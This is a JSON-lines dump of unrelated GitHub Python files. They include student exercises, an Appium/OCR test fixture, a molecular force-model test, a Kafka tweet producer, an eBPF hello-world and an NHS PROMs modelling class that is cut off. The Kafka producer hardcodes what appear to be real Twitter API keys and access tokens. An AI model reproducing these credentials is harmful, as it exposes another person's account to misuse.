{"seq_id":"10522726632","text":"# Raad Barnett 1231583\r\nclass Team:\r\n    def __init__(self):\r\n        self.team_name = \"none\"\r\n        self.team_wins = 0\r\n        self.team_losses = 0\r\n    def get_win_percentage(self):\r\n        return self.team_wins/(self.team_wins+self.team_losses)\r\nobj = Team()\r\nobj.team_name = input()\r\nobj.team_wins = int(input())\r\nobj.team_looses = int(input())\r\n\r\nif(obj.get_win_percentage() >= 0.5):\r\n    print(\"Congratulations, Team {} has a winning average!\".format(obj.team_name))\r\nelse:\r\n    print(\"Team {} has a losing average.\".format(obj.team_name))\r\n","repo_name":"RaadUH/RBARNETTCIS2348","sub_path":"10_15.py","file_name":"10_15.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4374182865","text":"# 쿼드트리\n\nimport sys\n\ninput = sys.stdin.readline\nn = int(input())\ngraph = [list(map(str, input().rstrip())) for _ in range(n)]\n# 시작점의 좌표와 조사할 크기를 매개변수로\ndef dfs(x, y, size):\n    if size == 1:\n        return graph[x][y]\n    # 전부 0 혹은 1인지 검사\n    count = 0\n    for i in range(x, x + size):\n        for j in range(y, y + size):\n            count += int(graph[i][j])\n    if count == 0 or count == size ** 2:\n        return \"0\" if count == 0 else \"1\"\n    halfsize = size // 2\n    return (\n        \"(\"\n        + dfs(x, y, halfsize)\n        + dfs(x, y + halfsize, halfsize)\n        + dfs(x + halfsize, y, halfsize)\n        + dfs(x + halfsize, y + halfsize, halfsize)\n        + \")\"\n    )\n\n\nprint(dfs(0, 0, n))","repo_name":"Journey99/boj-studyfolio","sub_path":"class3/1992.py","file_name":"1992.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32069317279","text":"score = 0\na = input(\"what is your name \\n\")\nprint(\"Guess the animal\")\nguess1 = input(\"which animal lives in the North pole \\n\")\ndef check_guess(guess, answer):\n    global score\n    still_guessing = True\n    attempt = 0\n    while still_guessing and attempt < 3:\n         if guess.lower() == answer.lower():\n          # print(\"correct answer\")\n              score = score + 1\n              still_guessing = False\n         else:\n             if attempt < 2:\n               guess = input(\"sorry wrong answer. Try again. \\n\")\n         attempt = attempt + 1\n    if attempt == 3:\n        print(\"the correct answer is \" + answer)\n\ncheck_guess(guess1,'polar bear')\nguess2 = input(\"what is the name of fastest animal \\n\")\ncheck_guess(guess2 , 'cheetah')\nguess3 = input(\"who is the animal king \\n\")\ncheck_guess(guess3 , 'lion')\nguess4 = input(\"which one is a fish \\n \\\nA) Dolphin\\n B)Whale\\n C)Shark\\n D)squid\\n TYPE A,B,C or D\\n\" )\ncheck_guess(guess4 , 'C')\nprint(\"your score is \"+ str(score))\n# print(ans)\n","repo_name":"Ajao-Abeeb/100daysOfCode","sub_path":"day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36326228823","text":"\nc=list(input())\nkol_a=c.count('a')\nkol_e=c.count('e')\nkol_u=c.count('u')\nif kol_a>0:\n    for i in range(kol_a):\n        c.remove('a')\nif kol_e>0:\n    for i in range(kol_e):\n        c.remove('e')\nif kol_u>0:\n    for i in range(kol_u):\n        c.remove('u')\nprint(c)","repo_name":"Gvorlv/pythonProject4","sub_path":"dz6-1.py","file_name":"dz6-1.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24705014478","text":"from datetime import datetime\nimport os\nimport time\nimport pytest\nfrom PIL import Image\nfrom io import BytesIO\n\n# for OCR\n# import pytesseract  # Tesseract-OCR\nfrom paddleocr import PaddleOCR  # PaddleOCR\n\n# This sample code uses the Appium python client v2\n# pip install Appium-Python-Client\n# Then you can paste this into a file and simply run with Python\nfrom appium import webdriver\nfrom appium.webdriver.common.appiumby import AppiumBy\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom selenium.webdriver.common.keys import Keys\n\n# For W3C actions\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.actions import interaction\nfrom selenium.webdriver.common.actions.action_builder import ActionBuilder\nfrom selenium.webdriver.common.actions.pointer_input import PointerInput\n\ndir_path = os.path.dirname(os.path.abspath(__file__))\n\n\nclass AppiumElement:\n    driver: webdriver.Remote = None\n    ele: webdriver.WebElement = None\n\n    def __init__(self, driver, ele):\n        self.driver = driver\n        self.ele = ele\n\n    def get_attribute(self, key: str) -> str:\n        return self.ele.get_attribute(key)\n\n    def getScreenshot(self) -> Image:\n        screenshot = self.driver.get_screenshot_as_png()\n        attr = self.get_attribute(\"ltrb\")\n        ltrb = attr.split(',')\n        return Image.open(BytesIO(screenshot)).crop((int(ltrb[0]), int(ltrb[1]), int(ltrb[2]), int(ltrb[3])))\n\n    def click(self, x: int = None, y: int = None, count: int = 1):\n        actions = TouchAction(self.driver)\n        actions.tap(self.ele, x, y, count)\n        actions.perform()\n\n    def rclick(self):\n        actions = TouchAction(self.driver)\n        actions.long_press(self.ele)\n        actions.perform()\n\n    def input(self, text: str, click=True):\n        if (click):\n            self.click()\n        self.ele.send_keys(text)\n\n    def input_backspace(self, click=False):\n        if (click):\n            self.click()\n        self.ele.send_keys(Keys.BACKSPACE)\n\n    def input_enter(self, click=False):\n        if (click):\n            self.click()\n        self.ele.send_keys(Keys.ENTER)\n\n    def input_escape(self, click=False):\n        if (click):\n            self.click()\n        self.ele.send_keys(Keys.ESCAPE)\n\n    def input_space(self, click=False):\n        if (click):\n            self.click()\n        self.ele.send_keys(Keys.SPACE)\n\n    def input_delete(self, click=False):\n        if (click):\n            self.click()\n        self.ele.send_keys(Keys.DELETE)\n\n\nclass AppiumDriver:\n    driver: webdriver.Remote = None\n\n    def __init__(self):\n        caps = {}\n        caps[\"appium:driverName\"] = \"pc\"\n        caps[\"appium:automationName\"] = \"pc\"\n        caps[\"platformName\"] = \"Windows\"\n        caps[\"appium:appPath\"] = \"todo\"\n        caps[\"appium:newCommandTimeout\"] = 3600\n        caps[\"appium:connectHardwareKeyboard\"] = True\n        self.driver = webdriver.Remote(\"http://127.0.0.1:4723\", caps)\n\n    def quit(self):\n        self.driver.quit()\n\n    def get_page_source(self) -> str:\n        return self.driver.page_source\n\n    def getScreenshot(self) -> Image:\n        screenshot = self.driver.get_screenshot_as_png()\n        return Image.open(BytesIO(screenshot))\n\n    def find_element_by_path(self, path, wait_sec: float = 3) -> AppiumElement:\n        start_time = time.time()\n        while True:\n            try:\n                ele = self.driver.find_element(by=AppiumBy.XPATH, value=path)\n                return AppiumElement(self.driver, ele)\n            except:\n                elapsed_time = time.time() - start_time\n                if elapsed_time >= wait_sec:\n                    break\n        return None\n\n    def find_element_by_id(self, id, wait_sec: float = 3) -> AppiumElement:\n        start_time = time.time()\n        while True:\n            try:\n                ele = self.driver.find_element(by=AppiumBy.ID, value=id)\n                return AppiumElement(self.driver, ele)\n            except:\n                elapsed_time = time.time() - start_time\n                if elapsed_time >= wait_sec:\n                    break\n        return None\n\n\ndef singleton(cls):\n    \"\"\"\n    单例装饰器\n    \"\"\"\n    instances = {}\n\n    def wrapper(*args, **kwargs):\n        if cls not in instances:\n            instances[cls] = cls(*args, **kwargs)\n        return instances[cls]\n\n    return wrapper\n\n\n# @singleton\n# class TesseractOCR_singleton:\n#     \"\"\"\n#     安装 Tesseract-OCR 可执行程序并添加到 PATH\n#     安装 pytesseract 库\n#     模型路径 C:/Program Files/Tesseract-OCR/tessdata/*.traineddata\n\n#     图片分割模式（PSM） tesseract有13种图片分割模式（page segmentation mode，psm）：\n#     0 — Orientation and script detection (OSD) only. 方向及语言检测（Orientation and script detection，OSD)\n#     1 — Automatic page segmentation with OSD. 自动图片分割\n#     2 — Automatic page segmentation, but no OSD, or OCR. 自动图片分割，没有OSD和OCR\n#     3 — Fully automatic page segmentation, but no OSD. (Default) 完全的自动图片分割，没有OSD\n#     4 — Assume a single column of text of variable sizes. 假设有一列不同大小的文本\n#     5 — Assume a single uniform block of vertically aligned text. 假设有一个垂直对齐的文本块\n#     6 — Assume a single uniform block of text. 假设有一个对齐的文本块（推荐，用于多行文本且字体相同）\n#     7 — Treat the image as a single text line. 图片为单行文本（推荐，用于单行文本）\n#     8 — Treat the image as a single word. 图片为单词\n#     9 — Treat the image as a single word in a circle. 图片为圆形的单词\n#     10 — Treat the image as a single character. 图片为单个字符\n#     11 — Sparse text. Find as much text as possible in no particular order. 稀疏文本。查找尽可能多的文本，没有特定的顺序。\n#     12 — Sparse text with OSD. OSD稀疏文本\n#     13 — Raw line. Treat the image as a single text line, bypassing hacks that are Tesseract-specific. 原始行。将图像视为单个文本行。\n\n#     OCR引擎模式（OEM） 有4种OCR引擎模式：\n#     0 — Legacy engine only.仅旧版引擎（3.x以前）。\n#     1 — Neural nets LSTM engine only.仅神经网络 LSTM 引擎\n#     2 — Legacy + LSTM engines.混合模式（传统 + LSTM 引擎）\n#     3 — Default, based on what is available.默认，基于可用的内容\n#     \"\"\"\n\n#     def __init__(self):\n#         # 已安装的语言包列表\n#         self.list = pytesseract.get_languages(config='')\n\n#     def OCR(image: Image, whitelist=None) -> list:\n#         # 转换成灰度图像\n#         gray_image = image.convert('L')\n\n#         # 字符白名单（不支持中文）\n#         config = '--oem 1 --psm 6'\n#         if (whitelist != None):\n#             config = config + ' -c tessedit_char_whitelist=' + whitelist\n#         result: str = pytesseract.image_to_string(\n#             gray_image, lang='chi_sim', config=config)\n#         return result.replace(' ', '').splitlines()\n\n\n@singleton\nclass PaddleOCR_singleton:\n    \"\"\"\n    安装 PaddleOCR 库\n    版本选择 https://www.paddlepaddle.org.cn/install/quick?docurl=/documentation/docs/zh/install/pip/windows-pip.html\n    \"\"\"\n\n    def __init__(self):\n        # print(paddle.__version__)\n        # paddle.utils.run_check()\n        self.ocr: PaddleOCR = PaddleOCR(\n            use_gpu=False, use_angle_cls=True, lang=\"ch\")\n\n    def OCR_file(self, file: str) -> list:\n        result = self.ocr.ocr(file)\n        text = \"\"\n        for idx in range(len(result)):\n            res = result[idx]\n            # p1, p2, p3, p4 = res[0]\n            s, percent = res[1]\n            text = text + s + '\\n'\n        return text.splitlines()\n\n    def OCR(self, image: Image) -> list:\n        now = datetime.now()\n        formatted_time = now.strftime(\n            \"%Y-%m-%d_%H-%M-%S\") + \"_\" + str(now.microsecond // 1000)\n        file = os.path.abspath(dir_path + \"/temp_\" + formatted_time + \".png\")\n        image.save(file)\n        ret = self.OCR_file(file)\n        os.remove(file)\n        return ret\n\n\nclass Common:\n    def OCR(image: Image) -> str:\n        arr = PaddleOCR_singleton().OCR(image)\n        return '\\n'.join(arr)\n\n    def price_to_float(price: str) -> tuple[float, float]:\n        try:\n            # 移除千分位','\n            price = price.replace(',', '')\n            # 处理单位 K,M,B,T\n            unit = price[-1]\n            if unit == 'K':\n                return float(price[:-1]), 1000\n            elif unit == 'M':\n                return float(price[:-1]), 1000 * 1000\n            elif unit == 'B':\n                return float(price[:-1]), 1000 * 1000 * 1000\n            elif unit == 'T':\n                return float(price[:-1]), 1000 * 1000 * 1000 * 1000\n            elif unit == '万':\n                return float(price[:-1]), 10000\n            elif unit == '亿':\n                return float(price[:-1]), 10000 * 10000\n            elif price[-2] == '万亿':\n                return float(price[:-2]), 10000 * 10000 * 10000\n            return float(price), 1\n        except:\n            return 0, 0\n\n\n@pytest.fixture()\ndef appium_pc_connect() -> AppiumDriver:\n    \"\"\"\n    所有测试用例的入口：\n\n    def test_xxx(appium_pc_connect):\n        driver: AppiumDriver = appium_pc_connect\n        ele: AppiumElement = driver.find_element_by_path(find_path)\n        ele.click()\n    \"\"\"\n    driver = AppiumDriver()\n    print('\\n\\n--- appium 开始会话 ---')\n    yield driver\n    print('\\n--- appium 结束会话 ---')\n    driver.quit()\n","repo_name":"zxffffffff/start-appium","sub_path":"script-python/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":9617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72499527781","text":"\nimport numpy as np\nfrom utils import AFF_E_inv\n\n#dataset=np.load('benzene_old_dft.npz')\n#dataset=np.load('uracil_dft.npz')\n#dataset=np.load('./dataset/aso_hao.npz')\ndataset=np.load('./dataset/h2_long.npz')\n#dataset=np.load('H2CO_mu.npz')\n#dataset=np.load('new_glucose.npz')\n\nAFF_train = AFF_E_inv.AFFTrain()\n\nprint('---------uracil-----------200-1000-----------')\nn_train=200\n#n_train=np.array([200,400,600,800,1000])\n#n_train=np.array([100])\n\nprint(' The N_train is '+repr(n_train)+'--------------------')\n\n\ntask=np.load('saved_model/task_h2_long.npy',allow_pickle=True).item()\ntrained_model = np.load('saved_model/trained_model_h2_long.npy',allow_pickle=True).item()\n\n# task=np.load('saved_model/task_asp.npy',allow_pickle=True).item()\n# trained_model = np.load('saved_model/trained_model_asp.npy',allow_pickle=True).item()\n#E_target=max(task1['E_train'])[0]+100\nE_target = -16000\nprint(\"max energy is \"+str(max(task['E_train'])[0])+'min energy is '+str(min(task['E_train'])[0]))\nprint('target is',E_target)\n\ndata_proposed =  np.array([[0.6493005159, 0.3335238106, -0.0001173225],\n                [-0.6516737070, -0.0006357680, 0.0001145444],\n                [1.2202008073, -0.9870460045, 0.0009573408],\n                [0.0973857531, -1.0090107149, -0.0011697607]])\n\n\n\n\n\nAFF_E_inv.compile_scirpts_for_physics_based_calculation_IO(task['R_train'])\n# \n# atomic number shall be defined in the beginning of the program once as well\natomic_number = dataset['z']\n\ncomputational_method = ['PBE', 'PBE', '6-31G']\nnew_E, new_F = AFF_E_inv.run_physics_baed_calculation(data_proposed[None], atomic_number, computational_method)\n\n\nev_to_kcal = 1\n#ev_to_kcal = 23.060541945329334\n\n#print(np.array(new_F).shape)\n#print(new_E.shape)\n#cost = np.sum(np.abs(np.concatenate(new_E)))\n\nprint(\"current real energy is \",new_E[0]*ev_to_kcal)\nprint('new_E,new_F ',new_F)\nprint( \"real:\", task['E_train'][0])\nprint(\"real f loss:\",np.linalg.norm(new_F)**2)\n\n\n\nimport numpy as np\nfrom utils import tensor_aff\n\n#dataset=np.load('benzene_old_dft.npz')\n#dataset=np.load('uracil_dft.npz')\n#dataset=np.load('./dataset/h2c0_hao.npz')\ndataset=np.load('./dataset/h2_long.npz')\n#dataset=np.load('H2CO_mu.npz')\n#dataset=np.load('new_glucose.npz')\n\nAFF_train = tensor_aff.GDMLTrain()\n\nprint('---------uracil-----------200-1000-----------')\nn_train=200\n#n_train=np.array([200,400,600,800,1000])\n#n_train=np.array([100])\n\nprint(' The N_train is '+repr(n_train)+'--------------------')\n\ntask=np.load('saved_model/task_h2_long.npy',allow_pickle=True).item()\ntrained_model=np.load('saved_model/trained_model_h2_long.npy',allow_pickle=True).item()\n\n\n\nnew1 =  np.array([[0.6493005159, 0.3335238106, -0.0001173225],\n                [-0.6516737070, -0.0006357680, 0.0001145444],\n                [1.2202008073, -0.9870460045, 0.0009573408],\n                [0.0973857531, -1.0090107149, -0.0011697607]]).reshape(1,4,3)\n\n#new = task['R_test'][0:2,:,:]\n\nnew = np.concatenate((task['R_test'][0,:,:][None], new1), axis=0)\n\n\n#AFF_train.predict(task,trained_model,new)\nresult = AFF_train.predict(task,trained_model,new)\nprint(result)\n#result = AFF_train.test(task,trained_model)\n\n\n\n\n#---------------plot the R_target------------------------------\nR_target =  np.array([[0.6493005159, 0.3335238106, -0.0001173225],\n                [-0.6516737070, -0.0006357680, 0.0001145444],\n                [1.2202008073, -0.9870460045, 0.0009573408],\n                [0.0973857531, -1.0090107149, -0.0011697607]])\n\nR_proposed = np.array([[-2.94802, 2.13117, 0.04401],\n                [-1.73085, 2.05327, 0.10708],\n                [-3.43108, 3.01653, -0.36069],\n                [-1.16949, 2.77829, -0.20195]])\n\nimport plotly.graph_objects as go\nimport numpy as np\n#import plotly.graph_objects as go\nimport plotly.io as pio\n#pio.renderers.default = 'svg'  # change it back to spyder\npio.renderers.default = 'browser'\n\n# Helix equation\n#t = np.linspace(0, 10, 50)\nR_target1 = R_proposed[None]\nx, y, z = R_target1[0,:,0],R_target1[0,:,1],R_target1[0,:,2]\n\nfig = go.Figure(data=[go.Scatter3d(x=x, y=y, z=z,\n                                  mode='markers')])\nfig.show()\n\n\n\n\n\n\n","repo_name":"HaoLiHL/Force_design","sub_path":"test_h2.py","file_name":"test_h2.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"1574724076","text":"import tweepy\nimport json\nfrom time import sleep\nfrom json import dumps\nfrom kafka import KafkaProducer\n\n\nconsumer_key = \"nPwaRHFONZzeJ6EDBWbtZdBqu\"  #same as api key\nconsumer_secret = \"JvEJJpNPvDiicXpPP0MEFr9bfpOxKxmxCfqlkHI8S3gcjjg8lm\"  #same as api secret\naccess_key = \"1532909672117981184-HjzNH90HN7STaT88JXDP51zhI3MSvu\"\naccess_secret = \"3cwcUHs6BUdbhFPgoKtkF6c7VcUeAQ6TW09WBWtEo46TO\"\n\n# Twitter authentication\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)   \nauth.set_access_token(access_key, access_secret) \n  \n# Creating an API object \napi = tweepy.API(auth)\n\n# ----- Extract data for a particular hashtag -----\ncantidad_tweets = 20\n\nhashtag_tweets = tweepy.Cursor(api.search_tweets, q=\"@usach\", tweet_mode='extended').items(cantidad_tweets)\n\n\n'''\n- we have created a KafkaProducer object that connects of our local instance of Kafka;\n- we have defined a way to serialize the data we want to send by trasforming it into a \n  json string and then encoding it to UTF-8;\n- we send an event every 0.5 seconds with topic named topic_test and the counter of the \n  iteration as data. Instead of the couter, you can send anything.\n'''\n\nproducer = KafkaProducer(\n    bootstrap_servers=['localhost:9092'],\n    value_serializer=lambda x: dumps(x).encode('utf-8')\n)\n\ncontador = 1\nlargo_paquete = 10\n\nfor tweet in hashtag_tweets:\n    data = {}\n    data[\"content\"] = tweet._json[\"full_text\"]\n    data[\"retweets\"] = tweet._json[\"retweet_count\"]\n    data[\"favorites\"] = tweet._json[\"favorite_count\"]\n    producer.send('topic_test2', value=data)  #AQUI DEBERÍA DECLARAR LA PARTICION A LA QUE VA\n    #IDEALMENTE HACER UN LOOP INTERCALADO; MANDAR 1 Y 1 (producer.send tiene un atributo llamado \"particion\")\n    #HAY QUE CONFIGURAR DOCKER-COMPOSE-EXPOSE: KAFKA_CREATE_TOPICS: \"topic_test:1:1\" CAMBIAR POR KAFKA_CREATE_TOPICS: \"topic_test:2:1\"\n    #Formato-> \"nombre_topico:cantidad_particiones:cantidad_replicas\"\n    sleep(0.5)\n    if((contador % largo_paquete) == 0 and (contador != cantidad_tweets)):\n          sleep(15)\n    contador += 1\n\n#Señal de finalizacion\ndata = {}\ndata[\"content\"] = \"fin\"\ndata[\"retweets\"] = -1\ndata[\"favorites\"] = -1\nproducer.send('topic_test2', value=data)\n\n#await server.aioproducer.send_and_wait(topic_name1, json.dumps(data.dict()).encode(\"ascii\"))\n#await server.aioproducer.send_and_wait(topic_name2, json.dumps(data.dict()).encode(\"ascii\"))\n#ASI LO HIZO EL NICO, PERO CON OTRA LIBRERÍA, TENER EN CUENTA...","repo_name":"mariajesus-canoles/lab_distribuidos","sub_path":"lab_productor.py","file_name":"lab_productor.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29582189009","text":"from bcc import BPF\n\n\n# bpf program in restricted C language.\nprog = \"\"\"\nint hello_world(void *ctx) {\n  bpf_trace_printk(\"Hello, World!\\\\n\");\n  return 0;\n}\n\"\"\"\n\nb = BPF(text=prog)\n\n# attaching hello_world function to sys_clone system call.\nb.attach_kprobe(event=\"sys_clone\", fn_name=\"hello_world\")\n\n# reading from /sys/kernel/debug/tracing/trace_pipe\nb.trace_print(fmt=\"Program:{0} Message:{5}\")\n","repo_name":"zaafar/ebpf_turtle","sub_path":"bpf_demo/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"6456385356","text":"import sys\nimport os\n\nsys.path.append(\"..\")\n\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport warnings\nimport re\nimport matplotlib.pyplot as plt\n\nfrom NHS_PROMs.settings import config\nfrom NHS_PROMs.model import pl, param_grid\nfrom NHS_PROMs.load_data import load_proms, structure_name\nfrom NHS_PROMs.preprocess import filter_in_range, filter_in_labels\nfrom NHS_PROMs.utils import (\n    most_recent_file,\n    downcast,\n    map_labels,\n    fillna_categories,\n    pd_fit_resample,\n    infer_categories_fit,\n    KindSelector,\n    get_feature_names,\n    remove_categories,\n)\nfrom NHS_PROMs.data_dictionary import meta_dict\n\nimport shap\n\nshap.initjs()\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.preprocessing import OneHotEncoder, OrdinalEncoder\nfrom sklearn.metrics import classification_report, plot_confusion_matrix\nfrom sklearn import set_config\nfrom sklearn.utils.validation import check_is_fitted\n\nset_config(display=\"diagram\")\n\nfrom imblearn.over_sampling import SMOTENC\nfrom imblearn.under_sampling import RandomUnderSampler\n\n# use adjusted fillna which can cope with non-existing categories for CategoricalDtype\npd.core.frame.DataFrame.fillna = fillna_categories\n# added a remove categories\npd.core.frame.Series.remove_categories = remove_categories\n# enable autodetect of categories from CategoricalDtype by using \"infer\" for SMOTENC\nSMOTENC.fit_resample = pd_fit_resample(SMOTENC.fit_resample)\n# enable inference of categories for encoders from CategoricalDtype\nOneHotEncoder.fit = infer_categories_fit(OneHotEncoder.fit)\nOrdinalEncoder.fit = infer_categories_fit(OrdinalEncoder.fit)\n\n\nclass PROMsModel():\n    \"\"\"\n    Model handling class for PROMS models.\n    \"\"\"\n\n    def __init__(self, kind=\"hip\"):\n        \"\"\"\n        Initiation for PROMsModel.\n\n        Parameters\n        ----------\n        kind: str\n            Determines what kind of surgery models are based on {\"hip\", \"knee\"}.\n        \"\"\"\n\n        self.kind = kind\n        self.outputs = config[\"outputs\"][kind]\n\n    def load_data(self, mode=\"train\"):\n        \"\"\"\n        Loads and preprocesses data based on the kind of surgery and if it is used for training or testing.\n\n        Parameters\n        ----------\n        mode: str\n            indicator to split data into a train or test set {\"train\", \"test\"}.\n\n        Returns\n        -------\n        pd.DataFrame\n            A DataFrame with all columns (before and after surgery).\n\n        \"\"\"\n        df = (\n            load_proms(part=self.kind)\n                .apply(downcast)\n                .rename(structure_name, axis=1)\n        )\n\n        self.load_meta(df.columns)\n\n        df = self.preprocess(df)\n\n        if mode == \"train\":\n            df = df.query(\"t0_year != 'April 2019 - April 2020'\").drop(columns=\"t0_year\")\n        elif mode == \"test\":\n            df = df.query(\"t0_year == 'April 2019 - April 2020'\").drop(columns=\"t0_year\")\n        else:\n            raise ValueError(f\"No valid mode: '{mode}'\")\n\n        return df\n\n    def load_meta(self, columns):\n        \"\"\"\n        Loads metadata based on column names into class attribute self.meta.\n\n        Parameters\n        ----------\n        columns: (list, index)\n            Iterable with the structured column names.\n\n        Returns\n        -------\n\n        \"\"\"\n        # get meta data\n        full_meta = {t + k: v for k, v in meta_dict.items() for t in [\"t0_\", \"t1_\"]}\n        self.meta = {k: v for k, v in full_meta.items() if k in columns}\n\n    def preprocess(self, df):\n        \"\"\"\n        Preprocesses a DataFrame based on meta data and configuration.\n\n        Parameters\n        ----------\n        df: pd.DataFrame\n            Input DataFrame with columns as features and rows as samples.\n\n        Returns\n        -------\n        pd.DataFrame\n            Cleaned DataFrame to be used by PROMsModels.\n\n        \"\"\"\n        # remove certain columns\n        endings = config[\"preprocessing\"][\"remove_columns_ending_with\"]\n        cols2drop = [c for c in df.columns if c.endswith(endings)]\n\n        df = (\n            df.apply(lambda s: filter_in_range(s, **self.meta[s.name]))  # filter in range numeric features\n                .apply(lambda s: filter_in_labels(s, **self.meta[\n                s.name]))  # filter in labels categorical features + ordinal if ordered\n                .apply(lambda s: map_labels(s, **self.meta[s.name]))  # map the labels as values for readability\n                .query(\"t0_revision_flag == 'no revision'\")  # drop revision cases\n                .drop(columns=cols2drop)  # drop not needed columns\n        )\n\n        # remove low info values from columns (almost redundant) values\n        for col, value in config[\"preprocessing\"][\"remove_low_info_categories\"].items():\n            df[col] = df[col].remove_categories(value)\n\n        # remove NaNs/missing/unknown from numerical and ordinal features\n        df = (\n            df.apply(pd.Series.remove_categories, args=([\"missing\", \"not known\"],))\n                .dropna(subset=KindSelector(kind=\"numerical\")(df) + KindSelector(kind=\"ordinal\")(df))\n                .reset_index(drop=True)  # make index unique (prevent blow ups when joining)\n        )\n\n        return df\n\n    def split_XY(self, df):\n        \"\"\"\n        Splits a DataFrame into an feature set (X) and a label (Y) set.\n        Y can have multiple columns (based on configuration).\n\n        Parameters\n        ----------\n        df: pd.DataFrame\n            A preprocessed input DataFrame.\n\n        Returns\n        -------\n        tuple(pd.DataFrame, pd.DataFrame)\n            The feature and label datasets as a tuple (X, Y).\n        \"\"\"\n\n        # define inputs and outputs\n        X = df.filter(regex=\"t0\").copy()\n        Y = df[self.outputs].copy()\n\n        # get cut from settings\n        for col in Y.columns:\n            if pd.api.types.is_numeric_dtype(Y[col]):\n                Y[col] = pd.cut(\n                    Y[col],\n                    include_lowest=True,\n                    **self.outputs[col],\n                )\n\n        return X, Y\n\n    def train_models(self):\n        \"\"\"\n        Trains all models (for every output defined in configuration).\n\n        Returns\n        -------\n        self\n\n        \"\"\"\n        X, Y = (\n            self.load_data(mode=\"train\")\n                .pipe(self.split_XY)\n        )\n        self.models = dict()\n        for col, y in Y.iteritems():\n            self.models[col] = self.train_model(X, y)\n        return self\n\n    def train_model(self, X, y):\n        \"\"\"\n        Trains a individual model (defined in model.py) with a based in features and labels.\n\n        Parameters\n        ----------\n        X: pd.DataFrame\n            Feature set for the model.\n        y: pd.Series\n            Label set for the model.\n\n        Returns\n        -------\n        sklearn estimator object\n            A trained estimator object for the particular label set.\n            Standard a GridSearchCV object is return, but depends of definition in model.py\n        \"\"\"\n\n        GS = GridSearchCV(\n            estimator=pl,\n            param_grid=param_grid,\n            scoring=config[\"score\"]\n        )\n        with warnings.catch_warnings():\n            warnings.filterwarnings(\"ignore\")\n            GS.fit(X, y)\n        return GS\n\n    def save_models(self, filename=None):\n        \"\"\"\n        Saves models to a file. If no filename is given, the file is named in the format {kind}_{sha(5)}_.mld.\n        The location is defined via the configuration.\n\n        Parameters\n        ----------\n        filename: str\n            Name of file to store the models in.\n\n        Returns\n        -------\n\n        \"\"\"\n\n        if filename is None:\n            hashable = frozenset(self.models.items())\n            sha = hex(hash(hashable))[-5:]\n            path = os.path.join(\"..\", config[\"models\"][\"path\"])\n            filename = f\"{self.kind}_{sha}.mdl\"\n        pickle.dump(self.models, open(os.path.join(path, filename), 'wb'))\n\n    def load_models(self, filename=None):\n        \"\"\"\n        Loads the saved models. If no filename is given, the last model for this PROMs kind is loaded.\n        The location is defined via the configuration.\n\n        Parameters\n        ----------\n        filename: str\n            Name of file to load the models from.\n        Returns\n        -------\n        self\n        \"\"\"\n\n        path = os.path.join(\"..\", config[\"models\"][\"path\"])\n        if filename is None:\n            filename = most_recent_file(path, ext=\".mdl\", prefix=self.kind)\n            if filename is None:\n                raise ValueError(\"No correct models found!\")\n        else:\n            if not re.search(fr\"^{self.kind}_\", filename):\n                raise Warning(f\"File '{filename} does not seem to be having models for {self.kind}\")\n        self.models = pickle.load(open(os.path.join(path, filename), 'rb'))\n        return self\n\n    def predict(self, X):\n        \"\"\"\n        Makes predictions for all models.\n\n        Parameters\n        ----------\n        X: pd.DataFrame\n            The feature set to make predictions on.\n\n        Returns\n        -------\n        dict()\n            A dictionary with keys being the outputs and values being the predictions.\n\n        \"\"\"\n\n        y_hat = dict()\n        for name, model in self.models.items():\n            check_is_fitted(model)\n            y_hat[name] = model.predict(X)\n        return y_hat\n\n    def predict_proba(self, X):\n        \"\"\"\n        Makes probability predictions for all models.\n\n        Parameters\n        ----------\n        X: pd.DataFrame\n            The feature set to make predictions on.\n\n        Returns\n        -------\n        dict()\n            A dictionary with keys being the outputs and values being the probability predictions.\n        \"\"\"\n\n        y_hat = dict()\n        for name, model in self.models.items():\n            check_is_fitted(model)\n            y_hat[name] = model.predict_proba(X)\n\n            # reorder labels according to configuration\n            org_labels = list(model.classes_)\n            new_labels = config[\"outputs\"][self.kind][name][\"labels\"]\n            i = [org_labels.index(label) for label in new_labels]\n            y_hat[name] = y_hat[name][:, i]\n\n        return y_hat\n\n    def classification_reports(self):\n        \"\"\"\n        Prints a classification report for every model/output based on the test data.\n\n        Returns\n        -------\n\n        \"\"\"\n        data = self.load_data(mode=\"test\")\n        X, Y = self.split_XY(data)\n        for name, model in self.models.items():\n            check_is_fitted(model)\n            y_hat = model.predict(X)\n            print(f\"\\nClassification report for {name}:\\n\")\n            print(classification_report(Y[name], y_hat))\n\n    def get_explainer(self, name):\n        \"\"\"\n        Sets and gets the SHAP explainer (Tree) for a certain output.\n\n        Parameters\n        ----------\n        name: str\n            The output to get the explainer for.\n\n        Returns\n        -------\n        shap.TreeExplainer\n            The explainer.\n        \"\"\"\n\n        if hasattr(self, \"explainers\") is False:\n            self.explainers = dict()\n\n        if self.explainers.get(name) is None:\n            model = self.models[name]\n            check_is_fitted(model)\n            self.explainers[name] = shap.TreeExplainer(\n                model.best_estimator_.named_steps[\"model\"],\n                #                 feature_perturbation='interventional',\n                #                 model_output=\"probability\",\n                #                 data=self.load_data(\"train\"),\n            )\n        return self.explainers[name]\n\n    def 